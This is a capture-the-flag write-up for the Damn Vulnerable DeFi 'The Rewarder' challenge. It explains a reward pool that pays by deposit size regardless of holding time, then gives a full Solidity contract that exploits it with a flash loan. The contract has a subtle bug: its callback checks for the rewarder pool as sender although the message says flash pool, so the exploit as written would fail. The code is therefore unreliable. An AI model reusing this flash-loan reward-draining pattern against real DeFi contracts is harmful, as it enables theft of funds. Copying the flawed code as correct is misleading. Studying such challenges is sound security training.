5. The Rewarder

https://www.damnvulnerabledefi.xyz/challenges/the-rewarder/

Objective

  • There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

  • Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

  • You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

  • By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

Approach

Let us examine the deposit() on Rewards Pool contract.

  • mints accounting tokens in a 1:1 ratio against the DVT tokens deposited

  • calls distributeRewards()

distributeRewards()

  • checks if its time for a new round of rewards distribution: isNewRewardsRound()

    • rewards are distributed in 5 day intervals from the lastRecordedSnapshotTimestamp

  • if it is indeed time for a new rewards round, _recordSnapshot() is executed

    • increments lastSnapshotIdForRewards

    • updates the timestamp on lastRecordedSnapshotTimestamp

    • increments roundNumber

  • checks current totalDeposits and amountDeposited by the uer

    • if both are non-zero positive values, calculate rewards earned by user

    • rewards awarded are based on the percentage of contribution

    • if rewards > 0, mint reward tokens to the user, and record the timestamp into the mapping lastRewardTimestamps

Attack vector

  • take a flash loan from the flashpool,

  • deposit into rewards pool during an eligible rewards round

  • return flash loan

The weakness is that the rewarderPool does not check for how long a deposit has been held within it, to allocate rewards. It simply calculates rewards as a function of size, disregarding time.

Solution

create a new contract for the attack:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {TheRewarderPool} from "../../../src/Contracts/the-rewarder/TheRewarderPool.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
import {FlashLoanerPool} from "../../../src/Contracts/the-rewarder/FlashLoanerPool.sol";
import {RewardToken} from "./RewardToken.sol";

contract Attack {
    
    TheRewarderPool public rewarderPool;
    DamnValuableToken public dvt;
    FlashLoanerPool public flashPool;
    RewardToken public rewardToken;
    address public owner;

    constructor(TheRewarderPool rewarderPool_, DamnValuableToken dvt_, FlashLoanerPool flashPool_,RewardToken rewardToken_){
        rewarderPool = rewarderPool_;
        dvt = dvt_;
        flashPool = flashPool_;
        rewardToken = rewardToken_;
        owner = msg.sender;
    }

    ///@notice take the largest possible flashloan
    function attack() external {
        require(owner == msg.sender, "only owner");

        uint256 dvtAvailable = dvt.balanceOf(address(flashPool));
        flashPool.flashLoan(dvtAvailable);
    }


    ///@notice done on new round of rewards
    function receiveFlashLoan(uint256 amount) external {
        require(address(rewarderPool) == msg.sender, "only flashPool");

        dvt.approve(address(rewarderPool), amount);
        rewarderPool.deposit(amount);

        // return borrowed tokens to flashPool
        rewarderPool.withdraw(amount);
        bool success = dvt.transfer(address(flashPool), amount);
        require(success, "fLoan not returned");

        // transfer reward tokens to attacker wallet
        uint256 rewards = rewardToken.balanceOf(address(this));
        bool sent = rewardToken.transfer(owner, rewards);
        require(sent, "rewards not sent");
    }
}

Test Exploit()

Last updated